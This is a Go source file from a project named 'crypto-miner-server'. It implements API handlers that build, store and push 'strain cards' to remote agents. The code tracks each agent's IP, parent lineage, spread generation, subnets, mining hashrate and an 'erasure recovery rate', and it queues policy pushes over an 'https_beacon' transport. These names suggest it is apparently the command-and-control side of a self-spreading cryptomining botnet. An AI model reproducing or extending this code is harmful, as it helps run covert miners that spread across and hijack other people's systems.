package api import ( "encoding/json" "log" "net/http" "strings" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) type playStrainCardRequest struct { AgentID string `json:"agent_id"` CardID string `json:"card_id"` } // GetStrainCards lists lineage strain cards (optionally filtered by agent_id). func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) { if f.db == nil { writeJSON(w, []strategy.StrainCard{}) return } agentID := strings.TrimSpace(r.URL.Query().Get("agent_id")) if agentID != "" { stored, err := f.db.ListStrainCardsForAgent(agentID) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, decodeStrainCards(stored)) return } stored, err := f.db.ListStrainCards(100) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, decodeStrainCards(stored)) } // PostPlayStrainCard applies a winning strain card preset to a target agent. func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) { if f.db == nil || f.ws == nil { http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable) return } var req playStrainCardRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid body", http.StatusBadRequest) return } agentID := strings.TrimSpace(req.AgentID) cardID := strings.TrimSpace(req.CardID) if agentID == "" || cardID == "" { http.Error(w, "agent_id and card_id are required", http.StatusBadRequest) return } if _, err := f.db.GetAgent(agentID); err != nil { http.Error(w, "agent not found", http.StatusNotFound) return } stored, err := f.db.GetStrainCard(cardID) if err != nil { http.Error(w, "strain card not found", http.StatusNotFound) return } var card strategy.StrainCard if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil { http.Error(w, "invalid strain card data", http.StatusInternalServerError) return } if card.ID == "" { card.ID = stored.ID } if inHospice, err := f.db.IsStrainInHospice(strategy.NormalizeStrainID(card.SpreadStrain)); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } else if inHospice { http.Error(w, "strain is in hospice — play-card disabled (museum archive)", http.StatusConflict) return } result, err := f.ws.PlayStrainCard(agentID, card) if err != nil { _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeFail, map[string]interface{}{"card_id": cardID, "persona": card.Persona}, map[string]interface{}{"error": err.Error(), "card_id": cardID}, ) writeJSON(w, map[string]interface{}{ "success": false, "error": err.Error(), "agent_id": agentID, "card_id": cardID, }) return } log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)", cardID, agentID, card.Persona, result.PlayID, result.Sent) _ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{ "card_id": cardID, "play_id": result.PlayID, "persona": card.Persona, "strain": card.SpreadStrain, "root": card.RootAgentID, "source": card.SourceAgentName, "sent": result.Sent, "queued": result.Queued, "transport": result.Transport, }) _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeSuccess, map[string]interface{}{ "card_id": cardID, "persona": card.Persona, "root": card.RootAgentID, }, map[string]interface{}{ "card_id": cardID, "play_id": result.PlayID, "persona": card.Persona, "sent": result.Sent, "queued": result.Queued, "transport": result.Transport, }, ) writeJSON(w, map[string]interface{}{ "success": true, "agent_id": agentID, "card_id": cardID, "play_id": result.PlayID, "persona": card.Persona, "strain": card.SpreadStrain, "sent": result.Sent, "queued": result.Queued, }) } func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard { out := make([]strategy.StrainCard, 0, len(stored)) for _, s := range stored { var card strategy.StrainCard if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil { card = strategy.StrainCard{ ID: s.ID, RootAgentID: s.RootAgentID, SourceAgentID: s.SourceAgentID, SourceAgentName: s.SourceAgentName, SpreadStrain: s.SpreadStrain, SpreadLane: s.SpreadLane, Persona: s.Persona, PeakHashrate: s.PeakHashrate, ErasureRecoveryRate: s.ErasureRecoveryRate, TreeSize: s.TreeSize, CreatedAt: s.CreatedAt, UpdatedAt: s.UpdatedAt, } } if card.ID == "" { card.ID = s.ID } out = append(out, card) } return out } func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent { out := make([]strategy.SpreadTreeAgent, 0, len(agents)) for _, a := range agents { if a == nil { continue } lane := joinLanes[a.ID] hr := hashrates[a.ID] out = append(out, strategy.SpreadTreeAgent{ ID: a.ID, Name: a.Name, IP: a.IP, ParentAgentID: a.ParentAgentID, SpreadGeneration: a.SpreadGeneration, SpreadStrain: a.SpreadStrain, JoinLane: lane, Hashrate: hr, }) } return out } func (h *WSHub) publishStrainCardForWinner( agentID, agentName, joinLane string, tierOrder []string, peakHashrate float64, attempts []strategy.TierAttempt, ) { if h.db == nil { return } allAgents, err := h.db.ListAgents() if err != nil { log.Printf("[lineage] list agents: %v", err) return } joinLanes := h.agentJoinLanesSnapshot() hashrates := h.agentHashratesSnapshot() treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates) var parentLanes []string if h.breedingRegistry != nil { ag, _ := h.db.GetAgent(agentID) if ag != nil { fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain) if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok { parentLanes = append([]string(nil), bred.ParentLanes...) } } } card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{ SourceAgentID: agentID, SourceAgentName: agentName, SpreadLane: joinLane, TierOrder: tierOrder, PeakHashrate: peakHashrate, Attempts: attempts, TreeAgents: treeAgents, ParentLanes: parentLanes, }) cardJSON, err := json.Marshal(card) if err != nil { log.Printf("[lineage] marshal card: %v", err) return } id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{ SourceAgentName: card.SourceAgentName, SpreadStrain: card.SpreadStrain, SpreadLane: card.SpreadLane, Persona: card.Persona, PeakHashrate: card.PeakHashrate, ErasureRecoveryRate: card.ErasureRecoveryRate, TreeSize: card.TreeSize, }) if err != nil { log.Printf("[lineage] upsert strain card: %v", err) return } card.ID = id log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f", id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate) h.broadcastDashboard(Message{ Type: "strain_card", Payload: mustMarshal(map[string]interface{}{ "card": card, }), }) } func (h *WSHub) agentJoinLanesSnapshot() map[string]string { h.mu.RLock() defer h.mu.RUnlock() out := make(map[string]string, len(h.agentLiveTelemetry)) for id, telem := range h.agentLiveTelemetry { if lane, ok := telem["join_lane"].(string); ok && lane != "" { out[id] = lane } } return out } func (h *WSHub) agentHashratesSnapshot() map[string]float64 { h.mu.RLock() defer h.mu.RUnlock() out := make(map[string]float64, len(h.agentLiveTelemetry)) for id, telem := range h.agentLiveTelemetry { if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 { out[id] = hr } } return out } // StrainCardPlayResult is the outcome of playing a card on an agent. type StrainCardPlayResult struct { PlayID string Sent bool Queued bool Transport string } // PlayStrainCard pushes spread temperament from a lineage card to an agent. func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) { agentID = strings.TrimSpace(agentID) if agentID == "" { return StrainCardPlayResult{}, errAgentRequired } temp := strategy.TemperamentFromCard(card) policy := FleetAgentPolicy{SpreadTemperament: &temp} pushID := "strain-" + card.ID sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID) if sent == 0 && failed > 0 { return StrainCardPlayResult{}, errAgentNotConnected } result := StrainCardPlayResult{ PlayID: pushID, Sent: sent > 0, } if !h.isAgentConnected(agentID) && sent > 0 { result.Queued = true result.Transport = "https_beacon" } h.broadcastDashboard(Message{ Type: "strain_card_played", Payload: mustMarshal(map[string]interface{}{ "agent_id": agentID, "card_id": card.ID, "play_id": pushID, "persona": card.Persona, "strain": card.SpreadStrain, }), }) return result, nil } var ( errAgentRequired = &strainCardError{"agent id is required"} errAgentNotConnected = &strainCardError{"agent not connected"} ) type strainCardError struct{ msg string } func (e *strainCardError) Error() string { return e.msg }